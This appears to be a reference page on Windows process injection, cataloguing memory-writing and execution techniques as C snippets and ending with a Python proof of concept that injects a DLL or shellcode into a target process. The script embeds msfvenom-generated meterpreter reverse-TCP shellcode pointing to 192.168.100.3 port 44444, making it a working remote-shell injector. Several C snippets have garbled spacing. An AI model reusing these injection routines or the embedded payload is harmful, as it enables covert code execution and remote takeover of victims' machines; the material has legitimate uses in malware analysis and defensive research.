Skip to content

Windows Process Injection

Process Injection Techniques

https://kasimir123.github.io/blog-posts/DLL%20Injection.html

Source

Writing Memory

Memory Allocation Technique:

HANDLE h = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id);
LPVOID target_payload = VirtualAllocEx(h,NULL,sizeof(payload), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory Technique:

HANDLEh = OpenProcess(PROCESS_VM_WRITE, FALSE, process_id);
WriteProcessMemory(h, target_payload, payload, sizeof(payload), NULL);

Shared Memory Writing Technique:

//Memory must already be RWX
HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name);
BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload))
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_READ, FALSE, process_id);

char* read_buf= newchar[sizeof(payload)];
SIZE_T region_size;

for(DWORD64address = 0; address < 0x00007fffffff0000ull; address += region_size){
	MEMORY_BASIC_INFORMATION mem;
	SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem, sizeof(mem));
	//... Shared memory detection logic here ...
	if((mem.Type== MEM_MAPPED) && (mem.State== MEM_COMMIT) && (mem.Protect== PAGE_READWRITE) && (mem.RegionSize== section_size)){
		ReadProcessMemory(h, (LPCVOID)(address+section_size-sizeof(payload)), read_buf, sizeof(payload), NULL);
		if(memcmp(read_buf, payload, sizeof(payload)) == 0){
			// the payload is at
			DWORD64 target_payload = address + section_size-sizeof(payload);
			//DO STUFF
			break;
		}
	}

	region_size= mem.RegionSize;
}

Atom Bombing Write Technique:

//Payload less then 256 bytes
//Terminates with a null byte
HANDLE th= OpenThread(THREAD_SET_CONTEXT| THREAD_QUERY_INFORMATION, FALSE, thread_id);
ATOM a = GlobalAddAtomA(payload);
NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a, (PVOID)(target_payload), (PVOID)(sizeof(payload)));

NtMapViewOfSection Allocate and Write Technique:

HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL);
LPVOID map_addr=MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);
HANDLE p = OpenProcess(PROCESS_VM_WRITE| PROCESS_VM_OPERATION, FALSE, process_id);
memcpy(map_addr, payload, sizeof(payload));
LPVOID target_payload=0;
SIZE_T view_size=0;
NtMapViewOfSection(fm, p, &target_payload, 0, sizeof(payload), NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE);

memset/memmove Write Technique:

HMODULE ntdll = GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
for(int i= 0; i< sizeof(payload); i++){
	NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1);
}
// Can finish with an “atomic” 
//NtQueueApcThread(t, GetProcAddress(ntdll, "memmove"), (void*)target_payload_final, (void*)target_payload, sizeof(payload));

Executing

CreateRemoteThread Execution Technique:

HANDLEh = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE) target_execution, RCX, 0, NULL);
//target_execution must be valid or will crash the process

CreateRemoteThread DLL Injection Technique:

HANDLEh = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, target_DLL_path, 0, NULL);
//Blocked in Windows 10 by CIG

CreateRemoteThread DLL Injection Technique:

Another classic DLL injection execution techniqueHMODULEh = LoadLibraryA(dll_path);
HOOKPROCf = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessagehook
SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id);
PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook
//Blocked in Windows 10 by CIG

APC Execution Technique Example 1:

HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX);
//target_execution must be valid or will crash the process

APC Execution Technique Example 2:

orNtQueueApcThread(h, (LPTHREAD_START_ROUTINE)target_execution, RCX, RDX, R8D);
//target_execution must be valid or will crash the process

Suspend Inject and Resume Thread Execution Technique:

HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip= (DWORD64)target_execution;
SetThreadContext(t, &ctx);
ResumeThread(t);
//Must use Stack Piviot gadget

Unmap and Rewrite Execution Technique:

MODULEINFO ntdll_info;
HMODULEntdll = GetModuleHandleA("ntdll");
GetModuleInformation(GetCurrentProcess(), ntdll, &ntdll_info, sizeof(ntdll_info));
LPVOID ntdll_copy = malloc(ntdll_info.SizeOfImage);
HANDLE p = OpenProcess(PROCESS_VM_WRITE| PROCESS_VM_READ| PROCESS_VM_OPERATION| PROCESS_SUSPEND_RESUME, FALSE, process_id);
NtSuspendProcess(p);
ReadProcessMemory(p, ntdll, ntdll_copy, ntdll_info.SizeOfImage, NULL);
// Patch e.g. NtClose in ntdll_copy
NtUnmapViewOfSection(p, ntdll);
// Allocate +(Re)write ntdll_copy to address ntdll in target process
FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage);
NtResumeProcess(p);

Stack-bombing Execution Technique:

HANDLE t = OpenThread(THREAD_SET_CONTEXT| THREAD_GET_CONTEXT| THREAD_SUSPEND_RESUME, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx; 
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &ctx);
DWORD64 ROP_chain = (DWORD64)ctx.Rsp; // for the 5 alertable state functions... 
// Adjust ROP_chainbased on ctx.rip(or use APC...)
// write ROP chain to ROP_chain memory address in target 
processResumeThread(t); 
// when the current function returns, it’ll execute the ROP chain

DLL Injection

  • Does not work in Windows 10

DLL Injection PoC:

import sys
from ctypes import *

PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x00000040

DELETE          = 0x00010000
READ_CONTROL    = 0x00020000
WRITE_DAC       = 0x00040000
WRITE_OWNER     = 0x00080000
SYNCHRONIZE     = 0x00100000
PROCESS_ALL_ACCESS = ( DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER | SYNCHRONIZE | 
						0xFFF # If < WinXP/WinServer2003 - 0xFFFF otherwise 
					 )

VIRTUAL_MEM = ( 0x1000 | 0x2000 )

KERNEL32 = windll.kernel32

def dllinject(dll_path, pid):
	""" Inject a DLL into target process.

	:param dll_path: path to dll
	:param pid: target process id
	"""
	dll_len = len(dll_path)

	#Use Windows Process Handler
	h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
	if not h_process:
		# No handler to PID
		return False

	# Allocate Memory for the DLL
	dll_address = KERNEL32.VirtualAllocEx(
			h_process, 
			0, 
			dll_len, 
			VIRTUAL_MEM, 
			PAGE_READWRITE)

	w = c_int(0)

	# Write DLL into allocated memory
	KERNEL32.WriteProcessMemory(
			h_process, 
			dll_address, 
			dll_path, 
			dll_len, 
			byref(w))

	# Find LoadLibraryA function
	h_kernel32 = KERNEL32.GetModuleHandleA('kernel32.dll')
	h_loadlib = KERNEL32.GetProcAddress(h_kernel32, 'LoadLibraryA')

	# Create a new thread in target process
	t_id = c_ulong(0)
	if not KERNEL32.CreateRemoteThread(
			h_process, 
			None, 
			0, 
			h_loadlib, 
			dll_address, 
			0, 
			byref(t_id)):
		# Cannot start a thread
		return False
	print t_id
	return True

def codeinject(shellcode, pid):
	""" Inject code into target process.

	:param shellcode: shellcode to inject
	:param pid: target process id
	"""
	shellcode_len = len(shellcode)

	#Use Windows Process Handler
	h_process = KERNEL32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
	if not h_process:
		# No handler to PID
		print 'No handler to PID'
		return False

	# Allocate Memory for the Shellcode
	shellcode_address = KERNEL32.VirtualAllocEx(
			h_process, 
			0, 
			shellcode_len, 
			VIRTUAL_MEM, 
			PAGE_EXECUTE_READWRITE)

	w = c_int(0)

	# Write shellcode to the new memory
	KERNEL32.WriteProcessMemory(
			h_process, 
			shellcode_address, 
			shellcode, 
			shellcode_len, 
			byref(w))

	t_id = c_ulong(0)

	#Create Thread in the process and execute the shellcode
	if not KERNEL32.CreateRemoteThread(
			h_process, 
			None, 
			0, 
			shellcode_address, 
			None, 
			0, 
			byref(t_id)):
		# Cannot start thread
		return False

	return True

if __name__ == '__main__':
	#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 --platform Windows -f py --bad-chars '\x00\x0A\x0D' -o payload.bin
	shellcode =  b""
	shellcode += b"\xdb\xd5\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x56\xbb\xb5"
	shellcode += b"\xea\x95\xb2\x31\x58\x18\x03\x58\x18\x83\xc0\xb1\x08"
	shellcode += b"\x60\x4e\x51\x4e\x8b\xaf\xa1\x2f\x05\x4a\x90\x6f\x71"
	shellcode += b"\x1e\x82\x5f\xf1\x72\x2e\x2b\x57\x67\xa5\x59\x70\x88"
	shellcode += b"\x0e\xd7\xa6\xa7\x8f\x44\x9a\xa6\x13\x97\xcf\x08\x2a"
	shellcode += b"\x58\x02\x48\x6b\x85\xef\x18\x24\xc1\x42\x8d\x41\x9f"
	shellcode += b"\x5e\x26\x19\x31\xe7\xdb\xe9\x30\xc6\x4d\x62\x6b\xc8"
	shellcode += b"\x6c\xa7\x07\x41\x77\xa4\x22\x1b\x0c\x1e\xd8\x9a\xc4"
	shellcode += b"\x6f\x21\x30\x29\x40\xd0\x48\x6d\x66\x0b\x3f\x87\x95"
	shellcode += b"\xb6\x38\x5c\xe4\x6c\xcc\x47\x4e\xe6\x76\xac\x6f\x2b"
	shellcode += b"\xe0\x27\x63\x80\x66\x6f\x67\x17\xaa\x1b\x93\x9c\x4d"
	shellcode += b"\xcc\x12\xe6\x69\xc8\x7f\xbc\x10\x49\x25\x13\x2c\x89"
	shellcode += b"\x86\xcc\x88\xc1\x2a\x18\xa1\x8b\x22\xed\x88\x33\xb2"
	shellcode += b"\x79\x9a\x40\x80\x26\x30\xcf\xa8\xaf\x9e\x08\xb9\xb8"
	shellcode += b"\x20\xc6\x01\xa8\xde\xe7\x71\xe0\x24\xb3\x21\x9a\x8d"
	shellcode += b"\xbc\xaa\x5a\x31\x69\x46\x51\xa5\x52\x3e\x01\x36\x3b"
	shellcode += b"\x3c\xca\x95\x27\xc9\x2c\xb5\x07\x99\xe0\x76\xf8\x59"
	shellcode += b"\x51\x1f\x12\x56\x8e\x3f\x1d\xbd\xa7\xaa\xf2\x6b\x9f"
	shellcode += b"\x42\x6a\x36\x6b\xf2\x73\xed\x11\x34\xff\x07\xe5\xfb"
	shellcode += b"\x08\x62\xf5\xec\x6e\x8c\x05\xed\x1a\x8c\x6f\xe9\x8c"
	shellcode += b"\xdb\x07\xf3\xe9\x2b\x88\x0c\xdc\x28\xcf\xf3\xa1\x18"
	shellcode += b"\xbb\xc2\x37\x24\xd3\x2a\xd8\xa4\x23\x7d\xb2\xa4\x4b"
	shellcode += b"\xd9\xe6\xf7\x6e\x26\x33\x64\x23\xb3\xbc\xdc\x97\x14"
	shellcode += b"\xd5\xe2\xce\x53\x7a\x1d\x25\xe0\x7d\xe1\xbb\xcf\x25"
	shellcode += b"\x89\x43\x50\xd6\x49\x2e\x50\x86\x21\xa5\x7f\x29\x81"
	shellcode += b"\x46\xaa\x62\x89\xcd\x3b\xc0\x28\xd1\x11\x84\xf4\xd2"
	shellcode += b"\x96\x1d\x07\xa8\xd7\xa2\xe8\x4d\xfe\xc6\xe9\x4d\xfe"
	shellcode += b"\xf8\xd6\x9b\xc7\x8e\x19\x18\x7c\x80\x2c\x3d\xd5\x0b"
	shellcode += b"\x4e\x11\x25\x1e"

	codeinject(shellcode, sys.argv[1])